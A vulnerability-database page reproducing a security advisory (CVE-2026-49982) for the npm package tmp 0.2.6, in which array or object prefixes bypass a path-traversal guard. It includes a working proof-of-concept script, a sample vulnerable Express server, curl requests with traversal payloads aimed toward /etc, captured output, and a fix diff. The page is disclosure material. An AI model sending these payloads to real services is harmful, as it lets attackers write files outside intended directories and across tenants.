Vulnerability-Lookup

GHSA-7C78-JF6Q-G5CM

Vulnerability from github – Published: 2026-06-15 16:36 – Updated: 2026-06-15 16:36

Summary

tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

Details

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}

// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);

// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches `_assertPath`

Two production-realistic shapes that yield a non-string prefix/postfix/template:

JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:

$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tmp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.6"
            },
            {
              "fixed": "0.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T16:36:46Z",
    "nvd_published_at": "2026-06-11T17:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes(\u0027..\u0027)` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process\u0027s privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process\u0027s filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker\u0027s chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : \u0027tmp\u0027,\n  \u0027-\u0027,\n  process.pid,\n  \u0027-\u0027,\n  _randomChars(12),\n  opts.postfix ? \u0027-\u0027 + opts.postfix : \u0027\u0027\n].join(\u0027\u0027);\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes(\u0027..\u0027)` checks element equality (so `[\u0027../escape\u0027].includes(\u0027..\u0027)` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join(\u0027\u0027)` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value\u0027s type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4\u0027s default `qs` parser turns `?prefix[]=../escape` into `[\u0027../escape\u0027]`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require(\u0027tmp\u0027);\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst baseDir = fs.mkdtempSync(\u0027/tmp/safe-base-\u0027);\n\nconsole.log(\u0027[negative control] string \"../escape\" - must be blocked\u0027);\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: \u0027../escape\u0027 });\n  console.log(\u0027  UNEXPECTED, file at:\u0027, r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log(\u0027  BLOCKED as expected:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] array [\"../escape\"] - same effective value, not blocked\u0027);\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: [\u0027../escape\u0027] });\n  console.log(\u0027  CREATED at:\u0027, r.name);\n  console.log(\u0027  ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log(\u0027  BLOCKED:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] duck-typed object {toString, includes} - also not blocked\u0027);\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () =\u003e \u0027../escape\u0027, includes: () =\u003e false }\n  });\n  console.log(\u0027  CREATED at:\u0027, r.name);\n  console.log(\u0027  ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log(\u0027  BLOCKED:\u0027, e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require(\u0027express\u0027);\nconst tmp = require(\u0027tmp\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync(\u0027/tmp/tenant-base-\u0027);\nconsole.log(\u0027[victim] Tenant base dir:\u0027, TENANT_BASE);\n\napp.post(\u0027/upload\u0027, (req, res) =\u003e {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log(\u0027[victim] received prefix:\u0027, JSON.stringify(userPrefix),\n              \u0027(type:\u0027, Array.isArray(userPrefix) ? \u0027array\u0027 : typeof userPrefix, \u0027)\u0027);\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n    if (err) {\n      console.log(\u0027[victim] tmp error:\u0027, err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, \u0027attacker-controlled-content\u0027);\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log(\u0027[victim] file created at:\u0027, filepath, \u0027ESCAPED:\u0027, escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () =\u003e console.log(\u0027[victim] http://127.0.0.1:3000\u0027));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho \u0027=== ATTACK 1: string prefix - caught by 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"prefix\":\"../escape-string\"}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 2: array prefix - bypasses 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"prefix\":[\"../escape-array\"]}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 3: multi-level traversal toward /etc ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}\u0027 http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes(\u0027..\u0027)` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== \u0027string\u0027) {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness\u0027 sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(\u0027prefix\u0027, options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(\u0027postfix\u0027, options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath(\u0027template\u0027, options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-7c78-jf6q-g5cm",
  "modified": "2026-06-15T16:36:46Z",
  "published": "2026-06-15T16:36:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49982"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/raszi/node-tmp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template"
}

CVE-2026-49982 (GCVE-0-2026-49982)

Vulnerability from cvelistv5 – Published: 2026-06-11 15:45 – Updated: 2026-06-11 18:24

Title

tmp: Type-confusion bypass of _assertPath in tmp@0.2.6 allows path traversal via non-string prefix/postfix/template

Summary

tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-11 18:24 UTC

CWE

CWE-20 - Improper Input Validation
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/raszi/node-tmp/security/adviso…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
raszi	node-tmp	Affected: 0.2.6

Show details on NVD website

JSON

To clipboard

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  "containers": {
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        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49982",
                "options": [
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                  },
                  {
                    "Technical Impact": "partial"
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                "role": "CISA Coordinator",
                "timestamp": "2026-06-11T18:24:14.195781Z",
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            "attackComplexity": "LOW",
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            "confidentialityImpact": "NONE",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-7C78-JF6Q-G5CM

Summary

Impact

Affected versions

Vulnerable code

How untrusted data reaches _assertPath

Proof of concept (string vs array)

End-to-end reproduction (against the deployed npm package)

Negative control with patched build

Suggested fix

Fix PR

Credit

CVE-2026-49982 (GCVE-0-2026-49982)

Tags

Sightings

Nomenclature

Related by attack behaviour

How untrusted data reaches `_assertPath`